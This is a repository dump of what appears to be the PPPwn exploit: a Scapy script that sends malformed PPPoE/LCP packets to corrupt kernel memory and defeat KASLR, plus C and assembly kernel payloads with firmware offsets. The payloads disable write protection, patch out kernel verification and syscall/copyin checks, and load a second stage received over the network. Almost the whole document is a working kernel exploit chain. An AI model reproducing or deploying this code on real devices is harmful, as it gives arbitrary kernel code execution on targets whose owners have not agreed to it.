648 | Ether(src=self.source_mac, dst=self.target_mac) / 649 | IPv6(src=source_ipv6, dst=self.target_ipv6) / 650 | ICMPv6ND_NA(tgt=source_ipv6, S=1) / 651 | ICMPv6NDOptDstLLAddr(lladdr=self.source_mac)) 652 | 653 | print('[+] Heap grooming...done') 654 | 655 | print('') 656 | print('[+] STAGE 1: Memory corruption') 657 | 658 | # Use an invalid proto enum to trigger a printf in the kernel. For 659 | # some reason, this causes scheduling on CPU 0 at some point, which 660 | # makes the next allocation use the same per-CPU cache. 661 | for i in range(self.PIN_NUM): 662 | if i % 0x100 == 0: 663 | print('[*] Pinning to CPU 0...{}%'.format(100 * i // 664 | self.PIN_NUM), 665 | end='\r', 666 | flush=True) 667 | 668 | self.s.send( 669 | Ether(src=self.source_mac, 670 | dst=self.target_mac, 671 | type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / 672 | PPP(proto=0x4141)) 673 | self.s.recv() 674 | sleep(0.0005) 675 | 676 | print('[+] Pinning to CPU 0...done') 677 | 678 | # LCP fails sometimes without the wait 679 | sleep(0.5) 680 | 681 | # Corrupt in6_llentry object 682 | overflow_lle = self.build_overflow_lle() 683 | print('[*] Sending malicious LCP configure request...') 684 | for i in range(self.CORRUPT_NUM): 685 | self.s.send( 686 | Ether(src=self.source_mac, 687 | dst=self.target_mac, 688 | type=ETHERTYPE_PPPOE) / PPPoE(sessionid=self.SESSION_ID) / 689 | PPP() / PPP_LCP(code=CONF_REQ, 690 | id=self.LCP_ID, 691 | len=TARGET_SIZE + 4, 692 | data=(PPP_LCP_Option(data=b'A' * 693 | (TARGET_SIZE - 4)) / 694 | PPP_LCP_Option(data=overflow_lle)))) 695 | 696 | print('[*] Waiting for LCP configure reject...') 697 | while True: 698 | pkt = self.s.recv() 699 | if pkt and pkt.haslayer(PPP_LCP_Configure) and pkt[ 700 | PPP_LCP_Configure].code == CONF_REJ: 701 | break 702 | 703 | # Re-negotiate after rejection 704 | self.lcp_negotiation() 705 | self.ipcp_negotiation() 706 | 707 | corrupted = False 708 | for i in reversed(range(self.SPRAY_NUM)): 709 | if i % 0x100 == 0: 710 | print('[*] Scanning for corrupted object...{}'.format(hex(i)), 711 | end='\r', 712 | flush=True) 713 | 714 | if i >= self.HOLE_START and i % self.HOLE_SPACE == 0: 715 | continue 716 | 717 | source_ipv6 = 'fe80::{:04x}:4141:4141:4141'.format(i) 718 | 719 | self.s.send( 720 | Ether(src=self.source_mac, dst=self.target_mac) / 721 | IPv6(src=source_ipv6, dst=self.target_ipv6) / 722 | ICMPv6EchoRequest()) 723 | 724 | while True: 725 | pkt = self.s.recv() 726 | if pkt: 727 | if pkt.haslayer(ICMPv6EchoReply): 728 | break 729 | elif pkt.haslayer(ICMPv6ND_NS): 730 | corrupted = True 731 | break 732 | 733 | if corrupted: 734 | break 735 | 736 | self.s.send( 737 | Ether(src=self.source_mac, dst=self.target_mac) / 738 | IPv6(src=source_ipv6, dst=self.target_ipv6) / 739 | ICMPv6ND_NA(tgt=source_ipv6, S=1) / 740 | ICMPv6NDOptDstLLAddr(lladdr=self.source_mac)) 741 | 742 | if not corrupted: 743 | print('[-] Scanning for corrupted object...failed. Please retry.') 744 | exit(1) 745 | 746 | print( 747 | '[+] Scanning for corrupted object...found {}'.format(source_ipv6)) 748 | 749 | print('') 750 | print('[+] STAGE 2: KASLR defeat') 751 | 752 | print('[*] Defeating KASLR...') 753 | while True: 754 | pkt = self.s.recv() 755 | if pkt and pkt.haslayer( 756 | ICMPv6NDOptSrcLLAddr) and pkt[ICMPv6NDOptSrcLLAddr].len > 1: 757 | break 758 | 759 | self.pppoe_softc_list = unpack(' 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include "offsets.h" 22 | // clang-format on 23 | 24 | #define STAGE2_PORT 9020 25 | #define STAGE2_SIZE 0x4000 26 | 27 | #define IFS6_OUT_MSG 0x88 28 | #define IFS6_OUT_NEIGHBORSOLICIT 0xe0 29 | 30 | #define CC_CALLWHEEL 0x40 31 | 32 | #define CALLOUT_CPU_SIZE 0x80 33 | 34 | struct llentry { 35 | LIST_ENTRY(llentry) lle_next; 36 | struct rwlock lle_lock; 37 | struct lltable *lle_tbl; 38 | }; 39 | 40 | LIST_HEAD(llentries, llentry); 41 | 42 | static inline uint64_t rdmsr(u_int msr) { 43 | uint32_t low, high; 44 | asm volatile("rdmsr" : "=a"(low), "=d"(high) : "c"(msr)); 45 | return (low | ((uint64_t)high << 32)); 46 | } 47 | 48 | static inline void load_cr0(u_long data) { 49 | asm volatile("movq %0, %%cr0" ::"r"(data)); 50 | } 51 | 52 | static inline u_long rcr0(void) { 53 | u_long data; 54 | asm volatile("movq %%cr0, %0" : "=r"(data)); 55 | return data; 56 | } 57 | 58 | static inline void enable_intr(void) { asm volatile("sti"); } 59 | static inline void disable_intr(void) { asm volatile("cli" ::: "memory"); } 60 | 61 | static void stage2_proc(void *arg) { 62 | uint64_t kaslr_offset = (uint64_t)arg; 63 | 64 | void (*kproc_exit)(int) = (void *)kdlsym(kproc_exit); 65 | 66 | void **kernel_map = (void **)kdlsym(kernel_map); 67 | void *(*kmem_alloc)(void *, uint64_t) = (void *)kdlsym(kmem_alloc); 68 | 69 | int (*ksock_create)(void **so, int domain, int type, int protocol) = 70 | (void *)kdlsym(ksock_create); 71 | int (*ksock_close)(void *so) = (void *)kdlsym(ksock_close); 72 | int (*ksock_bind)(void *so, struct sockaddr *addr) = 73 | (void *)kdlsym(ksock_bind); 74 | int (*ksock_recv)(void *so, void *buf, size_t *len) = 75 | (void *)kdlsym(ksock_recv); 76 | 77 | void *so; 78 | ksock_create(&so, AF_INET, SOCK_DGRAM, 0); 79 | 80 | struct sockaddr_in sin = {}; 81 | sin.sin_len = sizeof(sin); 82 | sin.sin_family = AF_INET; 83 | sin.sin_port = __builtin_bswap16(STAGE2_PORT); 84 | sin.sin_addr.s_addr = __builtin_bswap32(INADDR_ANY); 85 | ksock_bind(so, (struct sockaddr *)&sin); 86 | 87 | void *stage2 = kmem_alloc(*kernel_map, STAGE2_SIZE); 88 | size_t size = STAGE2_SIZE; 89 | ksock_recv(so, stage2, &size); 90 | 91 | ksock_close(so); 92 | 93 | void (*entry)(void) = (void *)stage2; 94 | entry(); 95 | 96 | kproc_exit(0); 97 | } 98 | 99 | void stage1(void) { 100 | uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; 101 | 102 | void (*setidt)(int idx, void *func, int typ, int dpl, int ist) = 103 | (void *)kdlsym(setidt); 104 | int (*kproc_create)(void (*)(void *), void *, void **, int flags, int pages, 105 | const char *, ...) = (void *)kdlsym(kproc_create); 106 | 107 | // Disable write protection 108 | uint64_t cr0 = rcr0(); 109 | load_cr0(cr0 & ~CR0_WP); 110 | 111 | // Enable UART 112 | *(uint8_t *)kdlsym(uart_patch) = 0; 113 | 114 | // Disable veri 115 | *(uint16_t *)kdlsym(veri_patch) = 0x9090; 116 | 117 | // Restore write protection 118 | load_cr0(cr0); 119 | 120 | // Restore UD handler 121 | setidt(IDT_UD, (void *)kdlsym(Xill), SDT_SYSIGT, SEL_KPL, 0); 122 | 123 | // Fix corruption done by nd6_ns_output 124 | uintptr_t pppoe_softc_list = (uintptr_t)kdlsym(pppoe_softc_list); 125 | (*(uint64_t *)(pppoe_softc_list + IFS6_OUT_MSG)) -= 2; 126 | (*(uint64_t *)(pppoe_softc_list + IFS6_OUT_NEIGHBORSOLICIT)) -= 2; 127 | 128 | // Fix corrupted in6_llentry object 129 | int callwheelsize = *(int *)kdlsym(callwheelsize); 130 | for (int i = 0; i < MAXCPU; i++) { 131 | uintptr_t cc = kdlsym(cc_cpu) + i * CALLOUT_CPU_SIZE; 132 | 133 | struct callout_tailq *cc_callwheel = 134 | *(struct callout_tailq **)(cc + CC_CALLWHEEL); 135 | if (!cc_callwheel) continue; 136 | 137 | for (int j = 0; j < callwheelsize; j++) { 138 | struct callout_tailq *sc = &cc_callwheel[j]; 139 | struct callout *c; 140 | TAILQ_FOREACH(c, sc, c_links.tqe) { 141 | if (c->c_func == (void *)kdlsym(nd6_llinfo_timer)) { 142 | struct llentry *lle = (struct llentry *)c->c_arg; 143 | struct llentry *lle_next = (struct llentry *)lle->lle_next.le_next; 144 | struct llentry *lle_prev = (struct llentry *)lle->lle_next.le_prev; 145 | 146 | // Fix le_prev and lle_tbl 147 | if (lle_next && lle_next->lle_next.le_prev != (void *)lle) { 148 | lle_next->lle_next.le_prev = (void *)lle; 149 | lle_next->lle_tbl = lle->lle_tbl; 150 | } 151 | 152 | // Fix le_next and lle_tbl 153 | if (lle_prev && lle_prev->lle_next.le_next != (void *)lle) { 154 | lle_prev->lle_next.le_next = (void *)lle; 155 | lle_next->lle_tbl = lle->lle_tbl; 156 | } 157 | } 158 | } 159 | } 160 | } 161 | 162 | // Start stage2 process 163 | enable_intr(); 164 | kproc_create(stage2_proc, (void *)kaslr_offset, NULL, 0, 0, "stage2"); 165 | disable_intr(); 166 | } 167 | -------------------------------------------------------------------------------- /stage1/stage1.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zecoxao/PPPwn/3b0f083c406d34b0953e892f555e2d0a1d015e13/stage1/stage1.elf -------------------------------------------------------------------------------- /stage1/start.S: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | .intel_syntax noprefix 9 | 10 | #define SOFTCLOCK_STACK_SIZE 0x88 11 | #define ND6_LLINFO_TIMER_STACK_SIZE 0x38 12 | 13 | .section .text 14 | .global _start 15 | _start: 16 | call stage1 17 | 18 | # Restore rsp 19 | mov rsp, rbx 20 | sub rsp, (SOFTCLOCK_STACK_SIZE + ND6_LLINFO_TIMER_STACK_SIZE) 21 | 22 | # nd6_llinfo_timer epiloque 23 | add rsp, 8 24 | pop rbx 25 | pop r12 26 | pop r13 27 | pop r14 28 | pop r15 29 | pop rbp 30 | ret 31 | -------------------------------------------------------------------------------- /stage2/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = stage2 2 | OBJS = start.o stage2.o 3 | 4 | CC = gcc 5 | OBJCOPY = objcopy 6 | CFLAGS = -DSMP -isystem ../freebsd-headers/include -Wl,--build-id=none -Os -fno-stack-protector 7 | LDFLAGS = -T linker.ld -nostartfiles -nostdlib 8 | 9 | ifneq ($(filter $(FW), 900 1100),) 10 | CFLAGS += -DFIRMWARE=$(FW) 11 | else 12 | $(error "Invalid firmware") 13 | endif 14 | 15 | all: $(TARGET).bin 16 | 17 | %.bin: %.elf 18 | $(OBJCOPY) -S -O binary $^ $@ 19 | 20 | $(TARGET).elf: $(OBJS) 21 | $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) 22 | 23 | clean: 24 | @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) 25 | -------------------------------------------------------------------------------- /stage2/linker.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") 2 | OUTPUT_ARCH(i386:x86-64) 3 | 4 | ENTRY(_start) 5 | 6 | PHDRS 7 | { 8 | text PT_LOAD ; 9 | rodata PT_LOAD ; 10 | data PT_LOAD ; 11 | bss PT_LOAD ; 12 | } 13 | 14 | SECTIONS 15 | { 16 | .text : { *(.text) } :text 17 | .rodata : { *(.rodata) *(.rodata.*) } :rodata 18 | .data : { *(.data) } :data 19 | .bss : { *(.bss) *(COMMON) } :bss 20 | .shstrtab : { *(.shstrtab) } 21 | /DISCARD/ : { *(*) } 22 | } 23 | -------------------------------------------------------------------------------- /stage2/offsets.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | #ifndef __OFFSETS_H__ 9 | #define __OFFSETS_H__ 10 | 11 | #if FIRMWARE == 900 // FW 9.00 12 | 13 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 14 | 15 | #define kdlsym_addr_printf 0xffffffff822b7a30 16 | 17 | #define kdlsym_addr_sysent 0xffffffff83300310 18 | 19 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 20 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 21 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 22 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 23 | 24 | #define kdlsym_addr_copyin_patch1 0xffffffff824716f7 25 | #define kdlsym_addr_copyin_patch2 0xffffffff82471703 26 | 27 | #define kdlsym_addr_copyout_patch1 0xffffffff82471602 28 | #define kdlsym_addr_copyout_patch2 0xffffffff8247160e 29 | 30 | #define kdlsym_addr_copyinstr_patch1 0xffffffff82471ba3 31 | #define kdlsym_addr_copyinstr_patch2 0xffffffff82471baf 32 | #define kdlsym_addr_copyinstr_patch3 0xffffffff82471be0 33 | 34 | #elif FIRMWARE == 1100 // FW 11.00 35 | 36 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 37 | #define kdlsym_addr_printf 0xffffffff824fcbd0 38 | 39 | #define kdlsym_addr_sysent 0xffffffff83301760 40 | 41 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 42 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 43 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 44 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 45 | 46 | #define kdlsym_addr_copyin_patch1 0xffffffff824de037 47 | #define kdlsym_addr_copyin_patch2 0xffffffff824de043 48 | 49 | #define kdlsym_addr_copyout_patch1 0xffffffff824ddf42 50 | #define kdlsym_addr_copyout_patch2 0xffffffff824ddf4e 51 | 52 | #define kdlsym_addr_copyinstr_patch1 0xffffffff824de4e3 53 | #define kdlsym_addr_copyinstr_patch2 0xffffffff824de4ef 54 | #define kdlsym_addr_copyinstr_patch3 0xffffffff824de520 55 | 56 | #else 57 | 58 | #error "Invalid firmware" 59 | 60 | #endif 61 | 62 | #define kdlsym(sym) (kaslr_offset + kdlsym_addr_##sym) 63 | 64 | #endif 65 | -------------------------------------------------------------------------------- /stage2/stage2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | // clang-format off 9 | #define _KERNEL 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include "offsets.h" 21 | // clang-format on 22 | 23 | // by OSM-Made 24 | typedef struct { 25 | int type; 26 | int reqId; 27 | int priority; 28 | int msgId; 29 | int targetId; 30 | int userId; 31 | int unk1; 32 | int unk2; 33 | int appId; 34 | int errorNum; 35 | int unk3; 36 | unsigned char useIconImageUri; 37 | char message[1024]; 38 | char iconUri[1024]; 39 | char unk[1024]; 40 | } OrbisNotificationRequest; 41 | 42 | struct sysent *sysents; 43 | 44 | static inline uint64_t rdmsr(u_int msr) { 45 | uint32_t low, high; 46 | asm volatile("rdmsr" : "=a"(low), "=d"(high) : "c"(msr)); 47 | return (low | ((uint64_t)high << 32)); 48 | } 49 | 50 | static inline void load_cr0(u_long data) { 51 | asm volatile("movq %0, %%cr0" ::"r"(data)); 52 | } 53 | 54 | static inline u_long rcr0(void) { 55 | u_long data; 56 | asm volatile("movq %%cr0, %0" : "=r"(data)); 57 | return data; 58 | } 59 | 60 | static int ksys_open(struct thread *td, const char *path, int flags, int mode) { 61 | int (*sys_open)(struct thread *, struct open_args *) = 62 | (void *)sysents[SYS_open].sy_call; 63 | 64 | td->td_retval[0] = 0; 65 | 66 | struct open_args uap; 67 | uap.path = (char *)path; 68 | uap.flags = flags; 69 | uap.mode = mode; 70 | int error = sys_open(td, &uap); 71 | if (error) return -error; 72 | 73 | return td->td_retval[0]; 74 | } 75 | 76 | static int ksys_write(struct thread *td, int fd, const void *buf, 77 | size_t nbytes) { 78 | int (*sys_write)(struct thread *, struct write_args *) = 79 | (void *)sysents[SYS_write].sy_call; 80 | 81 | td->td_retval[0] = 0; 82 | 83 | struct write_args uap; 84 | uap.fd = fd; 85 | uap.buf = buf; 86 | uap.nbyte = nbytes; 87 | int error = sys_write(td, &uap); 88 | if (error) return -error; 89 | 90 | return td->td_retval[0]; 91 | } 92 | 93 | static int ksys_close(struct thread *td, int fd) { 94 | int (*sys_close)(struct thread *, struct close_args *) = 95 | (void *)sysents[SYS_close].sy_call; 96 | 97 | td->td_retval[0] = 0; 98 | 99 | struct close_args uap; 100 | uap.fd = fd; 101 | int error = sys_close(td, &uap); 102 | if (error) return -error; 103 | 104 | return td->td_retval[0]; 105 | } 106 | 107 | void stage2(void) { 108 | uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; 109 | 110 | int (*printf)(const char *format, ...) = (void *)kdlsym(printf); 111 | 112 | sysents = (struct sysent *)kdlsym(sysent); 113 | 114 | printf("stage2\n"); 115 | 116 | // Disable write protection 117 | uint64_t cr0 = rcr0(); 118 | load_cr0(cr0 & ~CR0_WP); 119 | 120 | // Allow syscalls everywhere 121 | *(uint32_t *)kdlsym(amd_syscall_patch1) = 0; 122 | *(uint16_t *)kdlsym(amd_syscall_patch2) = 0x9090; 123 | *(uint16_t *)kdlsym(amd_syscall_patch3) = 0x9090; 124 | *(uint8_t *)kdlsym(amd_syscall_patch4) = 0xeb; 125 | 126 | // Allow user and kernel addresses 127 | uint8_t nops[] = {0x90, 0x90, 0x90}; 128 | 129 | *(uint16_t *)kdlsym(copyin_patch1) = 0x9090; 130 | memcpy((void *)kdlsym(copyin_patch2), nops, sizeof(nops)); 131 | 132 | *(uint16_t *)kdlsym(copyout_patch1) = 0x9090; 133 | memcpy((void *)kdlsym(copyout_patch2), nops, sizeof(nops)); 134 | 135 | *(uint16_t *)kdlsym(copyinstr_patch1) = 0x9090; 136 | memcpy((void *)kdlsym(copyinstr_patch2), nops, sizeof(nops)); 137 | *(uint16_t *)kdlsym(copyinstr_patch3) = 0x9090; 138 | 139 | // Restore write protection 140 | load_cr0(cr0); 141 | 142 | // Send notification 143 | OrbisNotificationRequest notify = {}; 144 | notify.targetId = -1; 145 | notify.useIconImageUri = 1; 146 | memcpy(¬ify.message, "PPPwned", 8); 147 | 148 | struct thread *td = curthread; 149 | 150 | int fd; 151 | fd = ksys_open(td, "/dev/notification0", O_WRONLY, 0); 152 | if (!fd) fd = ksys_open(td, "/dev/notification0", O_WRONLY | O_NONBLOCK, 0); 153 | if (!fd) fd = ksys_open(td, "/dev/notification1", O_WRONLY, 0); 154 | if (!fd) fd = ksys_open(td, "/dev/notification1", O_WRONLY | O_NONBLOCK, 0); 155 | 156 | if (fd) { 157 | ksys_write(td, fd, ¬ify, sizeof(notify)); 158 | ksys_close(td, fd); 159 | } 160 | } 161 | -------------------------------------------------------------------------------- /stage2/stage2.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zecoxao/PPPwn/3b0f083c406d34b0953e892f555e2d0a1d015e13/stage2/stage2.elf -------------------------------------------------------------------------------- /stage2/start.S: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | .intel_syntax noprefix 9 | 10 | .section .text 11 | .global _start 12 | _start: 13 | jmp stage2 14 | --------------------------------------------------------------------------------